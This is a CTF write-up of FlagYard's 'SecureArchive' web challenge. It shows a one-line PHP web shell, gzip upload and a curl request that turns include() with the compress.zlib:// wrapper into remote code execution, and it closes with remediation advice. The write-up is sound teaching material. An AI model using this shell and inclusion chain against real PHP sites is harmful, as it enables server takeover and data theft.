Back to writeups
FlagYardwebeasysolved

SecureArchive

23 Jun 2026 · by 0xIDA

Solvers

SecureArchive

Author: 0xIDA

Solvers

Platform: FlagYard · Category: web · Difficulty: easy

Summary

A PHP archive storage app has a "View File" feature backed by include($_GET['file']). It also stores uploaded archives as hash-named files under uploads/. The server has an open_basedir restriction that blocks direct reads outside /app/web/uploads:/tmp, but include() executes PHP code. By uploading a gzipped PHP shell and including it through the compress.zlib:// stream wrapper, we get RCE inside the allowed path and read the flag.

Solution

Step 1: Recon the features and leak the architecture

The landing page has two forms: Upload Archive and View File. Passing file=/etc/passwd to the View File form leaks a PHP warning:

include(): open_basedir restriction in effect.
File(/etc/passwd) is not within the allowed path(s): (/app/web/uploads:/tmp)
in /app/web/index.php on line 140

So the app uses include() on a user-supplied path, and open_basedir only allows /app/web/uploads and /tmp. This means direct LFI to /flag.txt is blocked, but any PHP code we can place inside the allowed path will execute.

Step 2: Upload a compressed PHP shell

The app accepts compressed archives and stores them as hash-named files in uploads/. Uploading a raw gzipped PHP file is accepted (the file is treated as an archive because it has a .gz extension). The server does not inspect the contents of compressed streams at upload time for PHP tags, only the extracted zip archives are scanned for malicious content.

Create a gzipped PHP shell:

printf '<?php system($_GET["c"] ?? "id"); ?>' | gzip > shell.gz

Upload it and capture the hash-named filename from the success message.

Step 3: Execute the shell via the PHP zlib wrapper

PHP's compress.zlib:// stream wrapper decompresses the file on the fly and passes the result to include(), which executes it as PHP. Because the shell is inside the allowed path, open_basedir does not block it.

BASE="http://tgvldeleqq-0.playat.flagyard.com"
HASH="66add1662fd077ef58f459e18cac1274.gz"

curl -sS -G "$BASE/" \
  --data-urlencode "file=compress.zlib://uploads/$HASH" \
  --data-urlencode "c=cat /flag.txt" | grep -oE 'FlagY\{[^}]*\}'

Running the command prints:

FlagY{814405f8bededfb3a4ae3f34be04990a}

The shell runs as uid=1000, and /flag.txt is world-readable, so no privilege escalation is needed.

Remediation

  • Never include() user-supplied paths. Use a fixed allowlist and serve file contents with readfile() or file_get_contents() instead.
  • Treat open_basedir as defense-in-depth, not a primary control; it did not stop code execution because the attacker placed executable code inside the allowed path.
  • Do not store uploaded archives in a web-accessible or include-able directory, and disable dangerous PHP stream wrappers if not needed.

Flag

FlagY{814405f8bededfb3a4ae3f34be04990a}